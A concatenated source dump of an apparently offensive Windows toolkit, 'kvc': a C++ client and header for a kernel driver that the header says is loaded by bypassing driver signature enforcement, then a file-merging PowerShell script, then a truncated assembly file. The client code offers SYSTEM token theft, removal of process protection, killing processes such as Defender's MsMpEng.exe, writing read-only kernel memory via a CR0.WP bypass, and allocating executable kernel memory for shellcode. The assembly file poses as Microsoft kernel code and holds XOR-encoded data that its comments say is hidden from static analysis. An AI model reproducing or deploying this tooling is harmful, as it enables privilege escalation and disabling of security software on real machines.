        DWORD err = GetLastError();
        DEBUG(L"[KvcStrmClient] IoctlWithPayload 0x%08X failed: %lu", code, err);
        return StrmResult::Fail(HRESULT_FROM_WIN32(err));
    }

    // Skopiuj header z powrotem (zawiera pole Status)
    memcpy(header, buf.data(), headerSize);
    return StrmResult::Ok();
}

// ============================================================
//  WIRTUALNA PAMIEC R/W
// ============================================================

StrmResult KvcStrmClient::ReadVirtualMemory(ULONG pid, ULONG64 address,
                                             void* buffer, SIZE_T size) noexcept
{
    KVCSTRM_READWRITE_REQUEST req{};
    req.ProcessId = pid;
    req.Address   = address;
    req.Buffer    = reinterpret_cast<ULONG64>(buffer);
    req.Size      = size;
    req.Write     = FALSE;

    auto r = Ioctl(IOCTL_VM_READ, &req, sizeof(req));
    if (!r) return r;
    if (!NT_SUCCESS(req.Status)) return StrmResult::Fail(req.Status);
    return StrmResult::Ok();
}

StrmResult KvcStrmClient::WriteVirtualMemory(ULONG pid, ULONG64 address,
                                              const void* buffer, SIZE_T size) noexcept
{
    KVCSTRM_READWRITE_REQUEST req{};
    req.ProcessId = pid;
    req.Address   = address;
    req.Buffer    = reinterpret_cast<ULONG64>(buffer);
    req.Size      = size;
    req.Write     = TRUE;

    auto r = Ioctl(IOCTL_VM_WRITE, &req, sizeof(req));
    if (!r) return r;
    if (!NT_SUCCESS(req.Status)) return StrmResult::Fail(req.Status);
    return StrmResult::Ok();
}

StrmResult KvcStrmClient::BulkTransfer(KVCSTRM_BULK_OPERATION& bulk) noexcept
{
    if (bulk.Count == 0 || bulk.Count > 64)
        return StrmResult::Fail(STATUS_INVALID_PARAMETER);

    return Ioctl(IOCTL_VM_BULK, &bulk, sizeof(bulk));
}

// ============================================================
//  ZABIJANIE PROCESOW
// ============================================================

StrmResult KvcStrmClient::KillProcess(ULONG pid) noexcept
{
    KVCSTRM_KILL_REQUEST req{};
    req.ProcessId = pid;

    auto r = Ioctl(IOCTL_KILL, &req, sizeof(req));
    if (!r) return r;
    if (!NT_SUCCESS(req.Status)) {
        DEBUG(L"[KvcStrmClient] KillProcess(%lu) NTSTATUS=0x%08X", pid, req.Status);
        return StrmResult::Fail(req.Status);
    }

    INFO(L"[KvcStrmClient] KillProcess(%lu) OK", pid);
    return StrmResult::Ok();
}

StrmResult KvcStrmClient::KillProcessLegacy(ULONG pid) noexcept
{
    // IOCTL_KILL_PROCESS_WESMAR: wejscie to surowy ULONG PID,
    // status operacji wraca jako WDF request completion status (nie w strukturze)
    return Ioctl(IOCTL_KILL_WESMAR, &pid, sizeof(pid));
}

StrmResult KvcStrmClient::KillProcessesByName(const char* name,
                                               ULONG* killedCount) noexcept
{
    if (!name || name[0] == '\0')
        return StrmResult::Fail(STATUS_INVALID_PARAMETER);

    KVCSTRM_KILL_NAME_REQUEST req{};
    strncpy_s(req.ProcessName, sizeof(req.ProcessName), name, _TRUNCATE);

    auto r = Ioctl(IOCTL_KILL_NAME, &req, sizeof(req));
    if (!r) return r;
    if (!NT_SUCCESS(req.Status)) return StrmResult::Fail(req.Status);

    if (killedCount) *killedCount = req.KilledCount;

    INFO(L"[KvcStrmClient] KillByName('%S') zabilem %lu procesow",
         name, req.KilledCount);
    return StrmResult::Ok();
}

// ============================================================
//  MANIPULACJA PP/PPL
// ============================================================

StrmResult KvcStrmClient::SetProtection(ULONG pid,
                                         ULONG64 protectionOffset,
                                         UCHAR   protectionValue) noexcept
{
    if (protectionOffset == 0 || protectionOffset > 0x2000)
        return StrmResult::Fail(STATUS_INVALID_PARAMETER);

    KVCSTRM_PROTECTION_REQUEST req{};
    req.ProcessId        = pid;
    req.ProtectionOffset = protectionOffset;
    req.ProtectionValue  = protectionValue;

    auto r = Ioctl(IOCTL_SET_PROT, &req, sizeof(req));
    if (!r) return r;
    if (!NT_SUCCESS(req.Status)) {
        DEBUG(L"[KvcStrmClient] SetProtection(%lu, 0x%X, 0x%02X) NTSTATUS=0x%08X",
              pid, (ULONG)protectionOffset, protectionValue, req.Status);
        return StrmResult::Fail(req.Status);
    }

    DEBUG(L"[KvcStrmClient] SetProtection(%lu) -> 0x%02X OK", pid, protectionValue);
    return StrmResult::Ok();
}

// ============================================================
//  FIZYCZNA PAMIEC R/W
// ============================================================

StrmResult KvcStrmClient::ReadPhysicalMemory(ULONG64 physAddr,
                                              void* buffer, SIZE_T size) noexcept
{
    KVCSTRM_PHYSMEM_REQUEST req{};
    req.PhysicalAddress = physAddr;
    req.Buffer          = reinterpret_cast<ULONG64>(buffer);
    req.Size            = size;

    auto r = Ioctl(IOCTL_PHYS_READ, &req, sizeof(req));
    if (!r) return r;
    if (!NT_SUCCESS(req.Status)) return StrmResult::Fail(req.Status);
    return StrmResult::Ok();
}

StrmResult KvcStrmClient::WritePhysicalMemory(ULONG64 physAddr,
                                               const void* buffer, SIZE_T size) noexcept
{
    KVCSTRM_PHYSMEM_REQUEST req{};
    req.PhysicalAddress = physAddr;
    req.Buffer          = reinterpret_cast<ULONG64>(const_cast<void*>(buffer));
    req.Size            = size;

    auto r = Ioctl(IOCTL_PHYS_WRITE, &req, sizeof(req));
    if (!r) return r;
    if (!NT_SUCCESS(req.Status)) return StrmResult::Fail(req.Status);
    return StrmResult::Ok();
}

// ============================================================
//  ALOKACJA KERNEL POOL
// ============================================================

ULONG64 KvcStrmClient::AllocKernelMemory(SIZE_T size, ULONG flags) noexcept
{
    KVCSTRM_ALLOC_REQUEST req{};
    req.Size  = size;
    req.Flags = flags;

    auto r = Ioctl(IOCTL_ALLOC, &req, sizeof(req));
    if (!r || !NT_SUCCESS(req.Status)) {
        DEBUG(L"[KvcStrmClient] AllocKernelMemory(%zu) failed", size);
        return 0;
    }

    DEBUG(L"[KvcStrmClient] AllocKernelMemory(%zu) -> 0x%016llX", size, req.Address);
    return req.Address;
}

StrmResult KvcStrmClient::FreeKernelMemory(ULONG64 address) noexcept
{
    if (address == 0) return StrmResult::Fail(STATUS_INVALID_PARAMETER);

    KVCSTRM_FREE_REQUEST req{};
    req.Address = address;

    auto r = Ioctl(IOCTL_FREE, &req, sizeof(req));
    if (!r) return r;
    if (!NT_SUCCESS(req.Status)) return StrmResult::Fail(req.Status);
    return StrmResult::Ok();
}

// ============================================================
//  ZAPIS DO CHRONIONEJ PAMIECI KERNELA (CR0.WP bypass)
// ============================================================

StrmResult KvcStrmClient::WriteProtectedKernelMemory(ULONG64 dstAddress,
                                                      const void* data,
                                                      SIZE_T size) noexcept
{
    if (dstAddress == 0 || !data || size == 0)
        return StrmResult::Fail(STATUS_INVALID_PARAMETER);

    KVCSTRM_PROTECTED_WRITE_REQUEST hdr{};
    hdr.DstAddress = dstAddress;
    hdr.Size       = size;

    auto r = IoctlWithPayload(IOCTL_WRITE_PROT,
                               &hdr, sizeof(hdr),
                               data, size);
    if (!r) return r;
    if (!NT_SUCCESS(hdr.Status)) return StrmResult::Fail(hdr.Status);
    return StrmResult::Ok();
}

// ============================================================
//  TOKEN ELEVATION
// ============================================================

StrmResult KvcStrmClient::ElevateToken(ULONG pid, ULONG64 tokenOffset) noexcept
{
    if (tokenOffset == 0 || tokenOffset > 0x2000)
        return StrmResult::Fail(STATUS_INVALID_PARAMETER);

    KVCSTRM_TOKEN_REQUEST req{};
    req.ProcessId   = pid;
    req.TokenOffset = tokenOffset;

    auto r = Ioctl(IOCTL_ELEVATE, &req, sizeof(req));
    if (!r) return r;
    if (!NT_SUCCESS(req.Status)) {
        DEBUG(L"[KvcStrmClient] ElevateToken(%lu) NTSTATUS=0x%08X", pid, req.Status);
        return StrmResult::Fail(req.Status);
    }

    INFO(L"[KvcStrmClient] ElevateToken(%lu) -> SYSTEM OK", pid);
    return StrmResult::Ok();
}

// ============================================================
//  FORCE CLOSE HANDLE
// ============================================================

StrmResult KvcStrmClient::ForceCloseHandle(ULONG pid, HANDLE handleValue) noexcept
{
    if (!handleValue) return StrmResult::Fail(STATUS_INVALID_PARAMETER);

    KVCSTRM_CLOSE_HANDLE_REQUEST req{};
    req.ProcessId   = pid;
    req.HandleValue = handleValue;

    auto r = Ioctl(IOCTL_FORCE_HANDLE, &req, sizeof(req));
    if (!r) return r;
    if (!NT_SUCCESS(req.Status)) return StrmResult::Fail(req.Status);

    DEBUG(L"[KvcStrmClient] ForceCloseHandle(pid=%lu, handle=0x%p) OK",
          pid, handleValue);
    return StrmResult::Ok();
}

<<<FILE: kvc/KvcStrmClient.h>>>
Created:  2026-04-05 16:53:32
Modified: 2026-04-06 00:07:50
Size:     10.92 KB
// KvcStrmClient.h
// Usermode C++ wrapper dla wszystkich IOCTL kvcstrm.sys
//
// kvcstrm musi byc zaladowany przez:
//   kvc driver load kvcstrm
// (DSE bypass via kvc.sys, zapis przez TrustedInstaller)
//
// Uzycie:
//   KvcStrmClient strm;
//   if (!strm.Open()) { /* blad */ }
//   strm.KillProcess(pid);
//   strm.SetProtection(pid, offset, 0x62);   // PPL Antimalware
//   strm.ElevateToken(pid, tokenOffset);
//   strm.Close();

#pragma once

#include "common.h"
#include <optional>
#include <span>
#include <vector>

// NTSTATUS codes for usermode builds (no DDK / ntstatus.h dependency)
#ifndef STATUS_SUCCESS
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#endif
#ifndef STATUS_INVALID_PARAMETER
#define STATUS_INVALID_PARAMETER ((NTSTATUS)0xC000000DL)
#endif
#ifndef STATUS_DEVICE_NOT_CONNECTED
#define STATUS_DEVICE_NOT_CONNECTED ((NTSTATUS)0xC000009DL)
#endif
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

// Ponowne deklaracje struktur z kvcstrm.h - self-contained, bez zaleznosci od DDK
// (te struktury sa wspolne dla usermode i kernelmode)

#pragma pack(push, 8)

struct KVCSTRM_READWRITE_REQUEST {
    ULONG    ProcessId;
    ULONG64  Address;
    ULONG64  Buffer;
    SIZE_T   Size;
    BOOL     Write;
    NTSTATUS Status;
};

struct KVCSTRM_BULK_OPERATION {
    ULONG                       Count;
    KVCSTRM_READWRITE_REQUEST   Operations[64];   // MAX_BULK_OPERATIONS
};

struct KVCSTRM_KILL_REQUEST {
    ULONG    ProcessId;
    NTSTATUS Status;
};

struct KVCSTRM_PROTECTION_REQUEST {
    ULONG    ProcessId;
    ULONG64  ProtectionOffset;
    UCHAR    ProtectionValue;
    UCHAR    Padding[3];
    NTSTATUS Status;
};

struct KVCSTRM_PHYSMEM_REQUEST {
    ULONG64  PhysicalAddress;
    ULONG64  Buffer;
    SIZE_T   Size;
    NTSTATUS Status;
};

struct KVCSTRM_ALLOC_REQUEST {
    SIZE_T   Size;
    ULONG    Flags;
    ULONG64  Address;
    NTSTATUS Status;
};

struct KVCSTRM_FREE_REQUEST {
    ULONG64  Address;
    NTSTATUS Status;
};

struct KVCSTRM_PROTECTED_WRITE_REQUEST {
    ULONG64  DstAddress;
    SIZE_T   Size;
    NTSTATUS Status;
    // Payload bytes follow immediately after this struct
};

struct KVCSTRM_TOKEN_REQUEST {
    ULONG    ProcessId;
    ULONG64  TokenOffset;
    NTSTATUS Status;
};

struct KVCSTRM_KILL_NAME_REQUEST {
    char     ProcessName[16];
    ULONG    KilledCount;
    NTSTATUS Status;
};

struct KVCSTRM_CLOSE_HANDLE_REQUEST {
    ULONG    ProcessId;
    HANDLE   HandleValue;
    NTSTATUS Status;
};

#pragma pack(pop)

// ============================================================
// STALE WARTOSCI OCHRONY EPROCESS (PS_PROTECTION byte)
// ============================================================

namespace PsProtection {
    constexpr UCHAR None              = 0x00;  // Brak ochrony
    constexpr UCHAR PPL_Windows       = 0x61;  // PPL Windows   (Type=1, Signer=6)
    constexpr UCHAR PPL_Antimalware   = 0x62;  // PPL Antimalware (Type=2, Signer=6)
    constexpr UCHAR PP_Antimalware    = 0x72;  // PP  Antimalware (Type=2, Signer=7)
    constexpr UCHAR PP_Tcb            = 0x51;  // PP  TCB        (Type=1, Signer=5)
    constexpr UCHAR PPL_Authenticode  = 0x22;  // PPL Authenticode (Type=2, Signer=2)
}

// ============================================================
// FLAGI ALOKACJI KERNEL POOL
// ============================================================

namespace KernelAllocFlags {
    constexpr ULONG NonPaged          = 0x00;  // Non-paged, nie wykonywalny
    constexpr ULONG NonPagedExecute   = 0x01;  // Non-paged + wykonywalny (shellcode/patch)
}

// ============================================================
// WYNIK OPERACJI - wrapper NTSTATUS z opisem bledu
// ============================================================

struct StrmResult {
    NTSTATUS ntStatus = STATUS_SUCCESS;
    bool     ok       = true;

    explicit operator bool()  const noexcept { return ok; }
    bool IsSuccess()          const noexcept { return ok; }

    static StrmResult Ok()                    noexcept { return { STATUS_SUCCESS, true }; }
    static StrmResult Fail(NTSTATUS s)        noexcept { return { s, false }; }
    static StrmResult WinFail()               noexcept { return { HRESULT_FROM_WIN32(GetLastError()), false }; }
};

// ============================================================
// GLOWNA KLASA KLIENTA
// ============================================================

class KvcStrmClient {
public:
    KvcStrmClient()  = default;
    ~KvcStrmClient() { Close(); }

    KvcStrmClient(const KvcStrmClient&)            = delete;
    KvcStrmClient& operator=(const KvcStrmClient&) = delete;
    KvcStrmClient(KvcStrmClient&&)                 noexcept = default;
    KvcStrmClient& operator=(KvcStrmClient&&)      noexcept = default;

    // ---- Zarzadzanie polaczeniem ----

    bool Open()  noexcept;   // Otworz \\.\kvcstrm
    void Close() noexcept;   // Zamknij uchwyt
    bool IsOpen() const noexcept { return m_handle != INVALID_HANDLE_VALUE && m_handle != nullptr; }

    // ---- Wirtualna pamiec R/W ----

    StrmResult ReadVirtualMemory(ULONG pid, ULONG64 address,
                                 void* buffer, SIZE_T size) noexcept;

    StrmResult WriteVirtualMemory(ULONG pid, ULONG64 address,
                                  const void* buffer, SIZE_T size) noexcept;

    // Wygodne szablony dla typow skalarnych
    template<typename T>
    std::optional<T> Read(ULONG pid, ULONG64 address) noexcept {
        T val{};
        auto r = ReadVirtualMemory(pid, address, &val, sizeof(T));
        if (!r) return std::nullopt;
        return val;
    }

    template<typename T>
    bool Write(ULONG pid, ULONG64 address, const T& val) noexcept {
        return WriteVirtualMemory(pid, address, &val, sizeof(T)).ok;
    }

    // Bulk R/W — do 64 operacji w jednym IOCTL
    StrmResult BulkTransfer(KVCSTRM_BULK_OPERATION& bulk) noexcept;

    // ---- Zabijanie procesow ----

    StrmResult KillProcess(ULONG pid) noexcept;                    // via kernel handle
    StrmResult KillProcessLegacy(ULONG pid) noexcept;              // WESMAR (raw PID)
    StrmResult KillProcessesByName(const char* name,               // np. "MsMpEng.exe"
                                   ULONG* killedCount = nullptr) noexcept;

    // ---- Manipulacja PP/PPL ----
    //
    // protectionOffset: offset bajtu PS_PROTECTION w EPROCESS
    //   Pobierz przez SymbolEngine lub OffsetFinder z PDB.
    //   Typowe wartosci:
    //     Win11 22H2/23H2 = 0x87A
    //     Win10 21H2      = 0x6FA
    //
    // protectionValue: PsProtection::* stale powyzej
    //   0x00 = usuwa ochrone
    //   0x62 = PPL Antimalware (chroni proces przed zabiciem przez user-mode)

    StrmResult SetProtection(ULONG pid,
                             ULONG64 protectionOffset,
                             UCHAR   protectionValue) noexcept;

    // Wygodne skroty dla DefenderManager / self-protection
    StrmResult ProtectAsPPL_Antimalware(ULONG pid, ULONG64 protOffset) noexcept {
        return SetProtection(pid, protOffset, PsProtection::PPL_Antimalware);
    }
    StrmResult ProtectAsPP_Antimalware(ULONG pid, ULONG64 protOffset) noexcept {
        return SetProtection(pid, protOffset, PsProtection::PP_Antimalware);
    }
    StrmResult RemoveProtection(ULONG pid, ULONG64 protOffset) noexcept {
        return SetProtection(pid, protOffset, PsProtection::None);
    }

    // ---- Fizyczna pamiec R/W ----
    // Max 256 KB per operacja (MAX_PHYSMEM_SIZE). Tylko zwykly RAM (nie MMIO).

    StrmResult ReadPhysicalMemory(ULONG64 physAddr,
                                  void* buffer, SIZE_T size) noexcept;

    StrmResult WritePhysicalMemory(ULONG64 physAddr,
                                   const void* buffer, SIZE_T size) noexcept;

    // ---- Alokacja/zwolnienie kernel pool ----

    // Zwraca adres kernelowy albo 0 przy bledzie.
    // flags: KernelAllocFlags::*
    // UWAGA: adres musi byc zwolniony przez FreeKernelMemory - nie przez zadna inna droge!
    ULONG64 AllocKernelMemory(SIZE_T size,
                              ULONG flags = KernelAllocFlags::NonPaged) noexcept;

    StrmResult FreeKernelMemory(ULONG64 address) noexcept;

    // ---- Zapis do chronionej (read-only) pamieci kernela ----
    // HVCI musi byc wylaczone (jesli kvcstrm sie zaladuwal, jest wylaczone).
    // Technika: chwilowe wyczyszczenie CR0.WP + copy + przywrocenie.

    StrmResult WriteProtectedKernelMemory(ULONG64 dstAddress,
                                          const void* data,
                                          SIZE_T size) noexcept;

    // ---- Kradniecie tokena SYSTEM ----
    //
    // tokenOffset: offset pola Token (EX_FAST_REF) w EPROCESS
    //   Pobierz przez SymbolEngine.
    //   Typowe wartosci:
    //     Win11 26200 = 0x4B8
    //     Win11 22H2  = 0x4B8
    //     Win10 21H2  = 0x4B8
    //
    // Po wykonaniu: targetProcess dziala z pelnym NT AUTHORITY\SYSTEM

    StrmResult ElevateToken(ULONG pid, ULONG64 tokenOffset) noexcept;

    // ---- Force-close uchwytu w innym procesie ----
    // Uzyteczne gdy MsMpEng trzyma uchwyt do chronionego pliku.

    StrmResult ForceCloseHandle(ULONG pid, HANDLE handleValue) noexcept;

    // ---- Diagnostyka ----

    // Sprawdz czy driver jest zaladowany (uchwyt mozna otworzyc)
    static bool IsDriverLoaded() noexcept;

private:
    HANDLE m_handle = INVALID_HANDLE_VALUE;

    // Generyczny helper IOCTL: inBuf == outBuf (METHOD_BUFFERED z tym samym buforem)
    StrmResult Ioctl(DWORD code, void* buf, DWORD size) noexcept;

    // Helper dla IOCTL z osobnym payload za headerem (IOCTL_WRITE_PROTECTED)
    StrmResult IoctlWithPayload(DWORD code, void* header, DWORD headerSize,
                                const void* payload, SIZE_T payloadSize) noexcept;

    static constexpr const wchar_t* DEVICE_PATH = L"\\\\.\\kvcstrm";

    // IOCTL kody (identyczne z kvcstrm.h)
    static constexpr DWORD IOCTL_VM_READ       = 0x00222000;  // CTL_CODE(0x22, 0x800, 0, 0)
    static constexpr DWORD IOCTL_VM_WRITE      = 0x00222004;  // CTL_CODE(0x22, 0x801, 0, 0)
    static constexpr DWORD IOCTL_VM_BULK       = 0x00222008;  // CTL_CODE(0x22, 0x802, 0, 0)
    static constexpr DWORD IOCTL_KILL          = 0x0022200C;  // CTL_CODE(0x22, 0x803, 0, 0)
    static constexpr DWORD IOCTL_KILL_WESMAR  = 0x22201C;
    static constexpr DWORD IOCTL_SET_PROT      = 0x00222010;  // CTL_CODE(0x22, 0x804, 0, 0)
    static constexpr DWORD IOCTL_PHYS_READ     = 0x00222014;  // CTL_CODE(0x22, 0x805, 0, 0)
    static constexpr DWORD IOCTL_PHYS_WRITE    = 0x00222018;  // CTL_CODE(0x22, 0x806, 0, 0)
    static constexpr DWORD IOCTL_ALLOC         = 0x0022202C;  // CTL_CODE(0x22, 0x80B, 0, 0)
    static constexpr DWORD IOCTL_FREE          = 0x00222020;  // CTL_CODE(0x22, 0x808, 0, 0)
    static constexpr DWORD IOCTL_WRITE_PROT    = 0x00222024;  // CTL_CODE(0x22, 0x809, 0, 0)
    static constexpr DWORD IOCTL_ELEVATE       = 0x00222028;  // CTL_CODE(0x22, 0x80A, 0, 0)
    static constexpr DWORD IOCTL_KILL_NAME     = 0x00222040;  // CTL_CODE(0x22, 0x810, 0, 0)
    static constexpr DWORD IOCTL_FORCE_HANDLE  = 0x00222044;  // CTL_CODE(0x22, 0x811, 0, 0)
};

<<<FILE: kvc/merge.ps1>>>
Created:  2026-05-27 17:15:21
Modified: 2026-05-20 11:24:38
Size:     9.6 KB
# =============================================================================
#  merge.ps1  �  Merge source files into one UTF-8 file for LLM upload
#
#  USAGE EXAMPLES
#    .\merge.ps1                              # scan current dir, write src.txt
#    .\merge.ps1 -StartDir .\MyProject        # custom root
#    .\merge.ps1 -OutputFile out.md -Format md
#    .\merge.ps1 -IncludeExt .asm,.inc,.ps1   # comma-separated string is fine
#    .\merge.ps1 -NoMeta                      # suppress per-file metadata
# =============================================================================

param(
    # Directory to scan (default: current working directory)
    [string]   $StartDir   = ".",

    # Output file path (relative paths anchored to CWD)
    [string]   $OutputFile = "src.txt",

    # Output format: plain text markers or Markdown fenced blocks
    [ValidateSet("txt", "md")]
    [string]   $Format     = "txt",

    # Suppress per-file Created / Modified / Size metadata lines
    [switch]   $NoMeta,

    # File extensions to include (leading dot, case-insensitive)
    [string[]] $IncludeExt = @(
        # Assembly / low-level
        ".asm", ".inc", ".s", ".nasm",
        # C / C++
        ".c", ".cpp", ".cc", ".cxx", ".h", ".hpp", ".hxx",
        # Pascal / Delphi
        ".pas", ".pp", ".dpr", ".dfm", ".lpr",
        # Web front-end
        ".html", ".htm", ".css", ".scss", ".sass", ".less",
        ".js", ".mjs", ".cjs", ".ts", ".tsx", ".jsx",
        # Scripting
        ".ps1", ".psm1", ".psd1", ".bat", ".cmd", ".sh",
        ".py", ".rb", ".pl", ".lua",
        # Data / config / markup
        ".xml", ".json", ".jsonc", ".yaml", ".yml",
        ".toml", ".ini", ".cfg", ".conf", ".env",
        # Windows-specific
        ".rc", ".def", ".manifest", ".lng", ".rgs",
        # Build / project
        ".vcxproj", ".filters", ".props", ".targets", ".sln",
        ".cmake", ".make", ".mk",
        # Docs
        ".md", ".txt", ".rst"
    ),

    # Regex patterns applied to the RELATIVE path (forward-slash-normalised).
    # Any file whose relative path matches at least one pattern is skipped.
    # NOTE: x64 / x86 / arm64 are NOT excluded � they usually hold source files.
    [string[]] $ExcludeDirPattern = @(
        "[/\\]\.git[/\\]",
        "[/\\]bin[/\\]",
        "[/\\]obj[/\\]",
        "[/\\]build[/\\]",
        "[/\\]out[/\\]",
        "[/\\]dist[/\\]",
        "[/\\]\.vs[/\\]",
        "[/\\]node_modules[/\\]",
        "[/\\]__pycache__[/\\]"
    )
)

$ErrorActionPreference = "Stop"

# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------

function Test-PathExcluded {
    param(
        [string]   $RelativePath,
        [string[]] $Patterns
    )
    # Normalise separators so patterns work on both Windows and Unix
    $normalised = $RelativePath.Replace('\', '/')
    foreach ($pattern in $Patterns) {
        if ($normalised -match $pattern) { return $true }
    }
    return $false
}

# Map extension -> Markdown language identifier for fenced code blocks
function Get-FenceLanguage {
    param([string] $Extension)
    $map = @{
        ".asm"      = "asm"
        ".inc"      = "asm"
        ".s"        = "asm"
        ".nasm"     = "nasm"
        ".c"        = "c"
        ".cpp"      = "cpp"
        ".cc"       = "cpp"
        ".cxx"      = "cpp"
        ".h"        = "c"
        ".hpp"      = "cpp"
        ".hxx"      = "cpp"
        ".pas"      = "pascal"
        ".pp"       = "pascal"
        ".dpr"      = "pascal"
        ".dfm"      = "pascal"
        ".lpr"      = "pascal"
        ".html"     = "html"
        ".htm"      = "html"
        ".css"      = "css"
        ".scss"     = "scss"
        ".sass"     = "sass"
        ".less"     = "less"
        ".js"       = "javascript"
        ".mjs"      = "javascript"
        ".cjs"      = "javascript"
        ".ts"       = "typescript"
        ".tsx"      = "tsx"
        ".jsx"      = "jsx"
        ".ps1"      = "powershell"
        ".psm1"     = "powershell"
        ".psd1"     = "powershell"
        ".bat"      = "batch"
        ".cmd"      = "batch"
        ".sh"       = "bash"
        ".py"       = "python"
        ".rb"       = "ruby"
        ".pl"       = "perl"
        ".lua"      = "lua"
        ".xml"      = "xml"
        ".json"     = "json"
        ".jsonc"    = "jsonc"
        ".yaml"     = "yaml"
        ".yml"      = "yaml"
        ".toml"     = "toml"
        ".ini"      = "ini"
        ".cfg"      = "ini"
        ".conf"     = "ini"
        ".rc"       = "rc"
        ".def"      = "text"
        ".manifest" = "xml"
        ".rgs"      = "text"
        ".lng"      = "text"
        ".vcxproj"  = "xml"
        ".filters"  = "xml"
        ".props"    = "xml"
        ".targets"  = "xml"
        ".sln"      = "text"
        ".cmake"    = "cmake"
        ".make"     = "makefile"
        ".mk"       = "makefile"
        ".md"       = "markdown"
        ".rst"      = "rst"
        ".txt"      = "text"
    }
    $ext = $Extension.ToLowerInvariant()
    if ($map.ContainsKey($ext)) { return $map[$ext] }
    return "text"
}

# ---------------------------------------------------------------------------
# Resolve paths
# ---------------------------------------------------------------------------

$baseDirPath = (Resolve-Path $StartDir).Path

$outputPath = if ([System.IO.Path]::IsPathRooted($OutputFile)) {
    $OutputFile
} else {
    Join-Path (Get-Location) $OutputFile
}

# Prevent the output file from being included in the scan
$outputPathNorm = $outputPath.ToLowerInvariant()

# ---------------------------------------------------------------------------
# Collect files
# ---------------------------------------------------------------------------

$normalizedExt = @($IncludeExt | ForEach-Object { $_.ToLowerInvariant() })

$files = Get-ChildItem -Path $baseDirPath -Recurse -File |
    Where-Object {
        # Extension filter
        if (-not ($normalizedExt -contains $_.Extension.ToLowerInvariant())) {
            return $false
        }
        # Skip the output file itself
        if ($_.FullName.ToLowerInvariant() -eq $outputPathNorm) {
            return $false
        }
        # Directory exclusion (relative path only � avoids false positives from
        # absolute path components like "C:\build\...")
        $rel = $_.FullName.Substring($baseDirPath.Length)
        if (Test-PathExcluded -RelativePath $rel -Patterns $ExcludeDirPattern) {
            return $false
        }
        return $true
    } |
    Sort-Object FullName

# ---------------------------------------------------------------------------
# Write output
# ---------------------------------------------------------------------------

$outputDir = Split-Path -Parent $outputPath
if ($outputDir -and -not (Test-Path $outputDir)) {
    New-Item -ItemType Directory -Path $outputDir | Out-Null
}

$utf8NoBom = [System.Text.UTF8Encoding]::new($false)
$writer    = [System.IO.StreamWriter]::new($outputPath, $false, $utf8NoBom)

try {
    foreach ($file in $files) {
        $rel = $file.FullName.Substring($baseDirPath.Length).TrimStart('\', '/')
        # Normalise to forward slashes for portability
        $rel = $rel.Replace('\', '/')

        # --- File header ---
        if ($Format -eq "md") {
            $writer.WriteLine("## FILE: $rel")
        } else {
            $writer.WriteLine("<<<FILE: $rel>>>")
        }

        # --- Optional metadata ---
        if (-not $NoMeta) {
            $writer.WriteLine("Created:  $($file.CreationTime.ToString('yyyy-MM-dd HH:mm:ss'))")
            $writer.WriteLine("Modified: $($file.LastWriteTime.ToString('yyyy-MM-dd HH:mm:ss'))")
            $writer.WriteLine("Size:     $([math]::Round($file.Length / 1KB, 2)) KB")
        }

        # --- Open fenced block (md mode) ---
        if ($Format -eq "md") {
            $lang = Get-FenceLanguage -Extension $file.Extension
            $writer.WriteLine("``````$lang")
        }

        # --- File content ---
        $reader = [System.IO.StreamReader]::new($file.FullName, $true)
        try {
            $content = $reader.ReadToEnd()
            $writer.Write($content)
            # Ensure content ends with a newline before the closing fence
            if ($content.Length -gt 0 -and -not ($content[-1] -eq "`n")) {
                $writer.WriteLine()
            }
        } finally {
            $reader.Dispose()
        }

        # --- Close fenced block (md mode) ---
        if ($Format -eq "md") {
            $writer.WriteLine("``````")
        }

        $writer.WriteLine()
    }
} finally {
    $writer.Dispose()
}

# ---------------------------------------------------------------------------
# Summary
# ---------------------------------------------------------------------------

$outSize = [math]::Round((Get-Item $outputPath).Length / 1KB, 1)

Write-Host ""
Write-Host "=====================================================" -ForegroundColor Cyan
Write-Host " merge.ps1 � done" -ForegroundColor Cyan
Write-Host "=====================================================" -ForegroundColor Cyan
Write-Host "  Root dir    : $baseDirPath"
Write-Host "  Output file : $outputPath  ($outSize KB)"
Write-Host "  Files merged: $($files.Count)"
Write-Host "  Format      : $Format"
Write-Host "  NoMeta      : $([bool]$NoMeta)"
Write-Host ""

# List extensions that were actually found
$foundExts = $files | ForEach-Object { $_.Extension.ToLowerInvariant() } |
    Sort-Object -Unique
Write-Host "  Extensions present:" -ForegroundColor Gray
foreach ($e in $foundExts) {
    $count = ($files | Where-Object { $_.Extension.ToLowerInvariant() -eq $e }).Count
    Write-Host ("    {0,-12} {1,3} file(s)" -f $e, $count) -ForegroundColor Gray
}
Write-Host ""

<<<FILE: kvc/MmPoolTelemetry.asm>>>
Created:  2026-02-27 12:50:26
Modified: 2026-04-09 21:06:11
Size:     8.38 KB
; nt_mm_pool_runtime.asm
; Windows Kernel Memory Manager - Runtime Pool String Reconstruction
; Copyright (c) Microsoft Corporation. All rights reserved.
;
; Module: \base\ntos\mm\MmPoolTelemetry.	
; Build: 26800.6317 (WinBuild.26800.6317.300101	-1200.25H2)
;
; INTERNAL USE ONLY - Automatically generated from poolmgr.c
; This file contains platform-specific optimizations for runtime
; pool allocation string generation used in ETW diagnostic events.
; Do not modify manually - regenerate via build_pooldiag.cmd

.data
ALIGN 8

; NUMA node affinity tracking bitmap for pool allocator runtime telemetry
; Represents per-node allocation pattern for cross-NUMA coherency analysis
; Each word contains encoded node index + allocation count delta
; See: https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/numa-support
; Format: XOR-encoded to prevent static analysis tools from detecting
;         internal pool structures in crash dumps (security hardening)
_PoolNodeAffinityMask    dw 0769Ah, 0569Ah, 0669Bh, 026A4h, 076A4h, 046A5h, 0B698h, 05698h, 0169Fh

; Platform topology hash initialization vector
; Used for dispersing pool allocations across cache lines to prevent false sharing
; Derived from: CPUID leaf 0x1F (V2 Extended Topology) XOR'd with TSC_AUX
; Updated per-platform during KiInitializeProcessor phase
_TopologyHashSeed        dw 037C5h

; Pool block quantum size adjustment factor
; Minimum allocation unit delta for NonPagedPool/PagedPool runtime metrics
; Used in ExAllocatePoolWithTag for rounding to pool block boundaries
; Default quantum: PAGE_SIZE / 16 = 256 bytes (0x100), this is the delta
; See: \base\ntos\mm\poolmgr.c line 3847 (PoolQuantumCalculation)
_BlockQuantumDelta       dw 15A2h

; Atomic diagnostic collection state machine
; State transitions: 0 (idle) → 1 (collecting) → 2 (complete)
